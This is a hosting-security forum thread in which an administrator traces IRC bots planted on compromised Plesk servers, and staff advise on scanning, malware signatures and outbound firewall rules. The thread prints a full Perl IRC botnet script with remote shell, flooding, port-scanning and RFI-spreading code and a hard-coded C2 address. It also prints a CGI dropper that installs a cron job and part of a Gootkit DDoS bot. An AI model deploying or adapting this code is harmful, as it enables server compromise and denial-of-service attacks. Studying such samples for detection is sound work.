Finding IRC Bots

General Discussion of atomic repo and development projects.

Ask for help here with anything else not covered by other forums.
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Finding IRC Bots

Unread post by KrazyBob »

I seem to be a target this week. I have the script being used but I cannot find where the payload is being dumped. I am using:

find . -type f -print | xargs grep "$IRC_socket"

Is there another method?
User avatar
mikeshinn
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 4149
Joined: Thu Feb 07, 2008 7:49 pm
Location: Chantilly, VA

Re: Finding IRC Bots

Unread post by mikeshinn »

That really depends a lot on the script, can you send us a copy of the script?

Also, have you tried limiting outbound TCP ports, that would prevent any connections to ports like 6667.

https://www.atomicorp.com/wiki/index.ph ... P_SERVICES
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Re: Finding IRC Bots

Unread post by KrazyBob »

I have the 666* range bocked in both directions on my hardware firewall. But I don't like knowing that there is a whole. I found a few writable anonymous_ftp/incoming directories even though not enabled by the user. In fact, we don't allow it without a driver's license or passport just like SSH.

This script kills the existing log service and replaces it with his. In this case PID 8027. If I kill the PID I cannot restart apache.

Code: Select all

system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk
'{print $1;}'`");
 
my $processo = '/usr/sbin/apache/log';

Code: Select all

#!/usr/bin/perl
# --------------------------------------------------------------
# Morgan has hacked you!
# Morgan Argentina, santiago del estero
# http://irc.irc-argentina.org/x.conf
# http://img521.imageshack.us/img521/3779/morganlammer6tu.png
#
# oper morgan {
#        class           clients;
#        from {
#                userhost *@*;
#        };
#        password "soyuncapo";   // morgan si, eres-un-capo.
# oper morgan2 {
#        class           clients;
#        from {
#                userhost *@*;
#        };
#        password "thegod"; //morgan si, eres el-dios.
# -----------------------------------------------------------
 
 
system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk
'{print $1;}'`");
 
my $processo = '/usr/sbin/apache/log';
 
 
my @titi = ("index.php?page=","main.php?page=","index.php?
p=","index.php?x=","main.php?p=","index.php?inc=","index.php?
frame=","main.php?x=","index.php?path=","index.php?
include=","main.php?
path=","index.php?file=","main.php?x=",
"default.php?page=",
"index.php?open=",
"index.php?pagina=",
"index.php?pg=",
"index.php?pag=",
"index.php?content=",
"index.php?cont=",
"index.php?c=",
"index.php?x=",
"index.php?cat=",
"index.php?site=",
"index.php?con=",
"index.php?action=",
"index.php?do=",
"index2.php?x=",
"index2.php?content=",
"template.php?pagina=","index.php?load=");
 
my $goni = $titi[rand scalar @titi];
 
my $linas_max='2';
my $sleep='5';
my @adms=("EviL", "remixu", "bongulets");
my @hostauth=("bong","-","10.0.0.1");
my @canais=("#phpMyAdmin");
my $nick='PHP';
my $ircname ='PHP';
chop (my $realname = `uname -sr`);
$servidor='89.30.129.224' unless $servidor;
my $porta='9851';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
 
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
 
$sel_cliente = IO::Select->new();
sub sendraw {
 if ($#_ == '1') {
   my $socket = $_[0];
   print $socket "$_[1]\n";
 } else {
     print $IRC_cur_socket "$_[0]\n";
 }
}
 
sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
 
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
 
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
 
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :
$realname");
    sleep 1;
  }
}
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor",
"$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
       $sel_cliente->remove($fh);
       $fh->close;
       delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
 
    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
      } else {
          if ($#lines == 0) {
            parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
              parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
              parse("$line");
          } else {
              $line_temp = $line;
          }
      }
     }
  }
}
 
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
  } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.
+)/) {
      my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
      if ($args =~ /^\001VERSION\001$/) {
        notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey
\001");
      }
      if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
      if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
        if ($onde eq "$meunick"){
          shell("$pn", "$args");
        }
        if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
           my $natrix = $1;
           my $arg = $2;
           if ($arg =~ /^\!(.*)/) {
             ircase("$pn","$onde","$1") unless ($natrix eq "!bot"
and $arg =~ /^\!nick/);
           } elsif ($arg =~ /^\@(.*)/) {
               $ondep = $onde;
               $ondep = $pn if $onde eq $meunick;
               bfunc("$ondep","$1");
           } else {
               shell("$onde", "$arg");
           }
        }
      }
}
  } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
      if (lc($1) eq lc($meunick)) {
        $meunick=$4;
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
      nick("$meunick|".int rand(999999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
      $meunick = $2;
      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
      $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
      foreach my $canal (@canais) {
        sendraw("JOIN $canal ddosit");
      }
  }
}
 
 
sub bfunc {
 my $printl = $_[0];
 my $funcarg = $_[1];
 if (my $pid = fork) {
    waitpid($pid, 0);
 } else {
     if (fork) {
        exit;
      } else {
          if ($funcarg =~ /^portscan (.*)/) {
            my $hostip="$1";
            my @portas=
("21
","22
","23
","25
","80
","113
","135
","445
","1025
","5000
","6660
","6661
","6662
","6663","6665","6666","6667","6668","6669","7000","8080","8018");
            my (@aberta, %porta_banner);
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002
Scanning ".$1." for open ports.");
            foreach my $porta (@portas)  {
               my $scansock = IO::Socket::INET->new(PeerAddr =>
$hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
               if ($scansock) {
                  push (@aberta, $porta);
                  $scansock->close;
               }
            }
 
            if (@aberta) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]
\002 Open port(s): @aberta");
            } else {
              sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]
\002 No open ports found");
            }
          }
          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002
Attacking ".$1.":".$2." for ".$3." seconds.");
     my $itime = time;
     my ($cur_time);
            $cur_time = time - $itime;
     while ($3>$cur_time){
            $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
            }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack
done ".$1.":".$2.".");
          }
   if ($funcarg =~ /^version/) {
 sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002
perlb0t ver ".$VERSAO);
 }
          if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
Scanning for unpatched mambo for ".$1." seconds.");
     srand;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
     $boturl=$2;
            $cur_time = time - $itime;$exploited = 0;
 while($1>$cur_time){
     $cur_time = time - $itime;
     @urls=fetch();
  foreach $url (@urls) {
  $cur_time = time - $itime;
  my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)
$/;
 
  $url =$path."/$goni$boturl" ;
 
 
 
 
  $page = http_query($url);
  $exploited = $exploited + 1;
     }
 }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
Exploited ".$exploited." boxes in ".$1." seconds.");
          }
          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
Attacking ".$1.":80 for ".$2." seconds.");
     my $itime = time;
     my ($cur_time);
            $cur_time = time - $itime;
     while ($2>$cur_time){
            $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1,
PeerPort=>80);
            print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".
$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
            }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
Attacking done ".$1.".");
          }
          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002
Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
            my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
            $dtime = 1 if $dtime == 0;
            my %bytes;
            $bytes{igmp} = $2 * $pacotes{igmp};
            $bytes{icmp} = $2 * $pacotes{icmp};
            $bytes{o} = $2 * $pacotes{o};
            $bytes{udp} = $2 * $pacotes{udp};
            $bytes{tcp} = $2 * $pacotes{tcp};
            sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002
Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/ 
1024)."
Kb in ".$dtime." seconds to ".$1.".");
          }
          exit;
      }
 }
}
 
sub ircase {
 my ($kem, $printl, $case) = @_;
 
 if ($case =~ /^join (.*)/) {
    j("$1");
  }
 
if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
}
 
  if ($case =~ /^part (.*)/) {
     p("$1");
  }
  if ($case =~ /^rejoin\s+(.*)/) {
     my $chan = $1;
     if ($chan =~ /^(\d+) (.*)/) {
       for (my $ca = 1; $ca <= $1; $ca++ ) {
         p("$2");
         j("$2");
       }
     } else {
         p("$chan");
         j("$chan");
     }
  }
  if ($case =~ /^op/) {
     op("$printl", "$kem") if $case eq "op";
     my $oarg = substr($case, 3);
     op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^deop/) {
     deop("$printl", "$kem") if $case eq "deop";
     my $oarg = substr($case, 5);
     deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  }
  if ($case =~ /^msg\s+(\S+) (.*)/) {
     msg("$1", "$2");
  }
  if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
     for (my $cf = 1; $cf <= $1; $cf++) {
       msg("$2", "$3");
     }
  }
  if ($case =~ /^ctcp\s+(\S+) (.*)/) {
     ctcp("$1", "$2");
  }
  if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
     for (my $cf = 1; $cf <= $1; $cf++) {
       ctcp("$2", "$3");
     }
  }
  if ($case =~ /^nick (.*)/) {
     nick("$1");
  }
  if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
      conectar("$2", "$1", 6667);
  }
  if ($case =~ /^raw (.*)/) {
     sendraw("$1");
  }
  if ($case =~ /^eval (.*)/) {
    eval "$1";
  }
}
 
sub shell {
 my $printl=$_[0];
 my $comando=$_[1];
 if ($comando =~ /cd (.*)/) {
   chdir("$1") || msg("$printl", "No such file or directory");
   return;
 }
 elsif ($pid = fork) {
    waitpid($pid, 0);
 } else {
     if (fork) {
        exit;
      } else {
          my @resp=`$comando 2>&1 3>&1`;
          my $c=0;
          foreach my $linha (@resp) {
            $c++;
            chop $linha;
            sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
            if ($c == "$linas_max") {
              $c=0;
              sleep $sleep;
            }
          }
          exit;
      }
 }
}
 
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
 $cur_time = time - $itime;
 last if $cur_time >= $ftime;
 $t="SOCK$l";
 socket($t,PF_INET,SOCK_STREAM,$proto);
 connect($t,$pa)||$j--;
 $j++;$l++;
}
$l=0;
while ($l<1000){
 $cur_time = time - $itime;
 last if $cur_time >= $ftime;
 $t="SOCK$l";
 shutdown($t,2);
 $l++;
}
}
 
sub udpflooder {
 my $iaddr = inet_aton($_[0]);
 my $msg = 'A' x $_[1];
 my $ftime = $_[2];
 my $cp = 0;
 my (%pacotes);
 $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
$pacotes{tcp} = 0;
 
 socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
 socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
 socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
 return(undef) if $cp == 4;
 my $itime = time;
 my ($cur_time);
 while ( 1 ) {
    for (my $porta = 1; $porta <= 65000; $porta++) {
      $cur_time = time - $itime;
      last if $cur_time >= $ftime;
      send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
{igmp}++;
      send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
{udp}++;
      send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
{icmp}++;
      send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
{tcp}++;
 
      for (my $pc = 3; $pc <= 255;$pc++) {
        next if $pc == 6;
        $cur_time = time - $itime;
        last if $cur_time >= $ftime;
        socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
        send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and
$pacotes{o}++;
      }
    }
    last if $cur_time >= $ftime;
 }
 return($cur_time, %pacotes);
}
 
sub ctcp {
  return unless $#_ == 1;
  sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
  return unless $#_ == 1;
  sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
  return unless $#_ == 1;
  sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
  return unless $#_ == 1;
  sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
  return unless $#_ == 1;
  sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
  return unless $#_ == 0;
  sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
 sendraw("PART $_[0]");
}
sub nick {
 return unless $#_ == 0;
 sendraw("NICK $_[0]");
}
sub quit {
 sendraw("QUIT :$_[0]");
}
 
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#
 
sub fetch(){
   my $rnd=(int(rand(9999)));
   my $n= 80;
   if ($rnd<5000) { $n<<=1;}
   my $s= (int(rand(5)) * $n);
 
my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
"eu
","mil
","edu
","
aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
 
"py
","cl
","uy
","ar
","br
","bo
","au
","nz
","cz
","kr
","jp
","th
","tw
","ph
","cn
","fi
","de
","es
","pt
","ch
","
se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
 
"af
","ad
","ao
","ai
","aq
","ag
","an
","sa
","dz
","ar
","am
","aw
","at
","az
","bs
","bh
","
bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
 
"vc
","kh
","cm
","td
","cs
","cy
","
km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
 
"ee
","et
","ge
","fi
","fr
","ga
","gs
","gh
","gi
","gb
","uk
","gd
","gl
","gp
","gu
","gt
","
gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
 
"iq
","ie
","is
","ac
","bv
","cx
","im
","nf
","ky
","cc
","ck
","fo
","hm
","fk
","mp
","mh
","
pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
 
"ki
","kg
","kw
","lv
","ls
","lb
","ly
","lr
","li
","lt
","lu
","mo
","mk
","mg
","my
","mw
","
mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
 
"na
","nr
","np
","ni
","ne
","ng
","nu
","no
","nc
","om
","pk
","ps
","pg
","pn
","pf
","qa
","
sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
 
"sh
","lc
","va
","st
","sn
","sc
","sl
","sg
","so
","lk
","za
","sd
","se
","sr
","sz
","rj
","
tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
 "vu","vn","ye","yu","cd","zm","zw","");
my @str;
 
foreach $dom  (@dominios)
{
push (@str,"allinurl:%22".$dom."/".$goni."%22");
}
 
   my $query="www.google.com/search?q=";
   $query.=$str[(rand(scalar(@str)))];
   $query.="&num=$n&start=$s";
 
 
   my @lst=();
   my $page = http_query($query);
   while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
    push (@lst,$1);
}
   }
   return (@lst);
}
 
 
sub http_query($){
   my ($url) = @_;
   my $host=$url;
   my $query=$url;
 
   my $page="";
   $host =~ s/href=\"?http:\/\///;
   $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
   $query =~s/$host//;
   if ($query eq "") {$query="/";};
   eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new
(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r
\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
   };
   return $page;
 
}
 
 
</end script>
User avatar
mikeshinn
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 4149
Joined: Thu Feb 07, 2008 7:49 pm
Location: Chantilly, VA

Re: Finding IRC Bots

Unread post by mikeshinn »

Thanks for sharing this with us. So good news, ASL already has signatures for this:

irc.pl: RFXN.honeypot.hex.perl.ircbot.Arabhack.55.UNOFFICIAL FOUND

I recommend you enable the realtime antimalware system which will detect this script and stop it from running, no matter where it is:

https://www.atomicorp.com/wiki/index.php/Anti_virus

You may also want to scan the system. Make sure your ASL signatures are up to date:

aum -uf

Heres a full path that should work for your system:

nice -n 20 ionice -c 3 clamscan --exclude-dir=^/var/ossec/ --exclude-dir=^/usr/share/doc/clamav --exclude-dir=^/var/www/vhosts/.*/statistics/logs/ --exclude-dir=^/sys --exclude-dir=^/dev --exclude-dir=^/proc --exclude-dir=^/var/lib/spamassassin --exclude-dir=^/var/asl --exclude-dir=^/usr/share/w3af --exclude-dir=^/var/lib/openvas/plugins --exclude-dir=^/home/.*/mail/ --exclude-dir=^/home/.*/tmp/awstats --exclude-dir=^/home/.*/tmp/webalizer -i -r /

If your system does not support ionice (or does not have it installed), then just do this:

nice -n 20 clamscan --exclude-dir=^/var/ossec/ --exclude-dir=^/usr/share/doc/clamav --exclude-dir=^/var/www/vhosts/.*/statistics/logs/ --exclude-dir=^/sys --exclude-dir=^/dev --exclude-dir=^/proc --exclude-dir=^/var/lib/spamassassin --exclude-dir=^/var/asl --exclude-dir=^/usr/share/w3af --exclude-dir=^/var/lib/openvas/plugins --exclude-dir=^/home/.*/mail/ --exclude-dir=^/home/.*/tmp/awstats --exclude-dir=^/home/.*/tmp/webalizer --exclude-dir=^/home/.*/logs -i -r /

Second, what user was this installed as? If it was installed as apache (or nobody on cpanel), make sure you are using the TPE option in ASL and have the apache (or nobody) user set as untrusted. Nothing thats owned by that user will be able to run, which means this perl script and anything else they may have uploaded wont work either (even if there wasnt a signature for it):

https://www.atomicorp.com/wiki/index.ph ... ENABLE_TPE

https://www.atomicorp.com/wiki/index.ph ... OUP_POLICY

https://www.atomicorp.com/wiki/index.ph ... STED_USERS
I have the 666* range bocked in both directions on my hardware firewall.
A quick look at the code, it might be using other ports too so if thats all your hardware firewall is blocking outbound, it may not be blocking this bot. If you look at the source code you'll see it can use other ports too. I would highly recommend you enable the OUTPUT firewall rules in ASL, and only allow those ports outbound you know you should be allowing (for example, 53, 25, 465, etc.). That would also stop the bot as well, and it will alert you that its trying to talk outbound:

https://www.atomicorp.com/wiki/index.ph ... P_SERVICES
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Re: Finding IRC Bots

Unread post by KrazyBob »

I don't use ASL and I don't know what user is being used. Frankly, I cannot afford to. I have to find ways of doing things on my own. I have over 100 virtual servers on Virtuozzo that I am trying in vain to migrate to Virtuozzo 4 and Plesk 11. Since Plesk < 10 is EOL I am on my own. With a daughter with cancer my piggy bank doesn't allow the service that you offer. That's why I am in the General forum.

But that was my question -- how to locate the script. My hardware firewall is blocking 6667, which lsof -i :6667 shows is being used by the script. I hope that this helps you:

Firewall:

Code: Select all

2013-03-02 17:53:11 Deny xxx.xxx.xxx.xxx 216.127.84.35 irc/tcp 53281 6667 1-Trusted Any destination IP on blocked IP list, firewall drop 60 64 (internal policy) tcpinfo="offset 10 S 4039088678 win 5840" rc="101"  Traffic

Code: Select all

-bash-3.2 clss03 # lsof -i :6667
COMMAND  PID   USER   FD   TYPE     DEVICE SIZE NODE NAME
perl    8027 apache    3u  IPv4 2782115286       TCP clss03.xxxxx.xxx:53232->toronto5.azu.com:ircd (SYN_SENT)

-bash-3.2 clss03 # lsof -i :9851
-bash-3.2 clss03 #
From this we know that the PID is 8027. I can reboot the server and release the PID but it comes back. I need to find the owner so that I can locate the script and kill it. This suggests that a cron is restarting it and maybe that's where I need to look.

Suggestions welcome!

Humbly, Bob
User avatar
mikeshinn
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 4149
Joined: Thu Feb 07, 2008 7:49 pm
Location: Chantilly, VA

Re: Finding IRC Bots

Unread post by mikeshinn »

I don't use ASL and I don't know what user is being used. Frankly, I cannot afford to. I have to find ways of doing things on my own. I have over 100 virtual servers on Virtuozzo that I am trying in vain to migrate to Virtuozzo 4 and Plesk 11. Since Plesk < 10 is EOL I am on my own. With a daughter with cancer my piggy bank doesn't allow the service that you offer. That's why I am in the General forum.
I'm sorry to hear that, we'd be happy to give you a free license. Can you shoot me a PM and I'll get it setup for you?
faris
Long Time Forum Regular
Long Time Forum Regular
Posts: 2321
Joined: Thu Dec 09, 2004 11:19 am

Re: Finding IRC Bots

Unread post by faris »

KB: Just for info, ASL installs with no hassles or issues in a VZ container. Unfortunately you can't use the ASL kernel and associated wizzy bits, which is a major annoyance, but that's not ASL's fault.
--------------------------------
<advert>
If you want to rent a UK-based VPS that comes with friendly advice and support from a fellow ART fan, please get in touch.
</advert>
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Re: Finding IRC Bots

Unread post by KrazyBob »

So you are saying that ASL doesn't work with VZ?
prupert
Forum Regular
Forum Regular
Posts: 573
Joined: Tue Aug 01, 2006 2:45 pm
Location: Netherlands

Re: Finding IRC Bots

Unread post by prupert »

KrazyBob wrote:So you are saying that ASL doesn't work with VZ?
As faris said, ASL works perfectly fine in a Virtuozzo/OpenVZ container. However, you cannot run the ASL kernel inside a container.
Lemonbit Internet Dedicated Server Management
faris
Long Time Forum Regular
Long Time Forum Regular
Posts: 2321
Joined: Thu Dec 09, 2004 11:19 am

Re: Finding IRC Bots

Unread post by faris »

The ASL kernel and its associated features are a major part of ASL but the protection offered even without them is still very high and, I would venture to say, vital for any publicly accessible system (e.g. a Plesk box).
--------------------------------
<advert>
If you want to rent a UK-based VPS that comes with friendly advice and support from a fellow ART fan, please get in touch.
</advert>
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Re: Finding IRC Bots

Unread post by KrazyBob »

Thank you both. Right now I am exhausted. I am the single care giver for my daughter; her home school teacher; transportation. Add to this my commitment to my customers. It is exhausting.
scott
Atomicorp Staff - Site Admin
Atomicorp Staff - Site Admin
Posts: 8355
Joined: Wed Dec 31, 1969 8:00 pm
Location: earth
Contact:

Re: Finding IRC Bots

Unread post by scott »

To follow up on this, virtuozzo doesn't have kernels for individual guest servers like you would have in kvm or vmware. Every guest host shares the same kernel owned by the master.
KrazyBob
Forum Regular
Forum Regular
Posts: 310
Joined: Mon Mar 19, 2007 3:47 pm

Re: Finding IRC Bots

Unread post by KrazyBob »

After much work I have discovered two ways in which spammers are planting scripts intended to either send spam or to establish an IRC bot. I don't know how they are getting the scripts on board and Plesk se4rvers from 8.2 to 9.3 are vulnerable. We're in the process of upgrading to Plesk 11.x and we'll wait and see there. I use the following simple command to locate CGI scripts. Since they aren't as popular since PHP it is pretty easy to locate the scripts:

Code: Select all

ls -lah /var/www/vhosts/*/cgi-bin >/root/cgi-files.txt  
I then use VI to read the file. It has been amazing at the large number of infected sites that I have located.

Basically, the hacker is planting a script in the /tmp directory by way of a compromised site. There is no particular type of site. When executed the script creates random names and writes identical scripts in the /cgi-bin for that site. The script either sets up an IRC bot(s) or manipulates X11 as in:

Code: Select all

[root@server103 ~]# cd /var/www/vhosts/cheshirepba.org/cgi-bin
[root@server103 cgi-bin]# ls
opportune.cgi  test
[root@server103 cgi-bin]# cat opportune.cgi 
#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;

print "Content-type: text/plain\n\n"; 
print "HelloWorld\n"; 

open(OLD_UNIX, ">", "/tmp/.X11-unix");

fkdsfsdafkjl'dsf';ldfksadl;fsdl;fsdfklsdl;fHQ7DQp9DQo=");

close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdone\n";
The IRC code begins like this and if you find a file titled "ua" in your /tmp directory you know that you have a compromised site(s):

Code: Select all

#!/usr/bin/perl

#part of the Gootkit ddos system
use Fcntl qw(:flock :DEFAULT);

use Socket;
use IO::Socket;
use IO::Select;

use POSIX 'setsid';
use Cwd 'abs_path';

print "Content-type: text/plain\n\n";

#---------------------------------------------------#
#       CUSTOM parameters                                                               #
#---------------------------------------------------#
my $number_of_bots = 5;
my @defaults = ("riffstorm.net:80", "kayzio.net:80");
my $pingTimeout = 1200;
my $proxyPort = 5432;
#---------------------------------------------------#


my $lockfilename;
my $serverfile;
my $idfile;
my $uafile;

my $kernel;
my $version = "2";
my $localip;
my $botid;
my $ua;

my $script_path = abs_path($0);
....

A CGI directory of a compromised site will look like this:

Code: Select all

[root@clss05 cgi-bin]# ls -lah
total 1.7M
drwxr-x---  3 chait-admin psaserv 4.0K Sep  8 18:45 .
drwxr-xr-x 21 root        root    4.0K Feb 16  2010 ..
-rwxr-xr-x  1 chait-admin psacln   62K Mar 27  2013 barbudo.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  2 04:39 boylas.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  3 02:22 cholemia.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  4 07:20 coheirs.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  5 03:20 congealing.pl
-rwxr-xr-x  1 chait-admin psacln   62K Mar 27  2013 conjurator.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  2 03:15 cordoned.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 29 10:28 counterchanged.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 31 06:26 entoilment.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  5 08:34 equinoctially.pl
-rwxr-xr-x  1 chait-admin psacln   62K Mar 27  2013 firespotter.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  5 18:21 irateness.pl
-rwxr-xr-x  1 chait-admin psacln   62K Sep  7 12:56 loquat.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 30 13:36 orbitele.pl
-rwxr-xr-x  1 chait-admin psacln   62K Aug 29 03:07 overgrows.pl
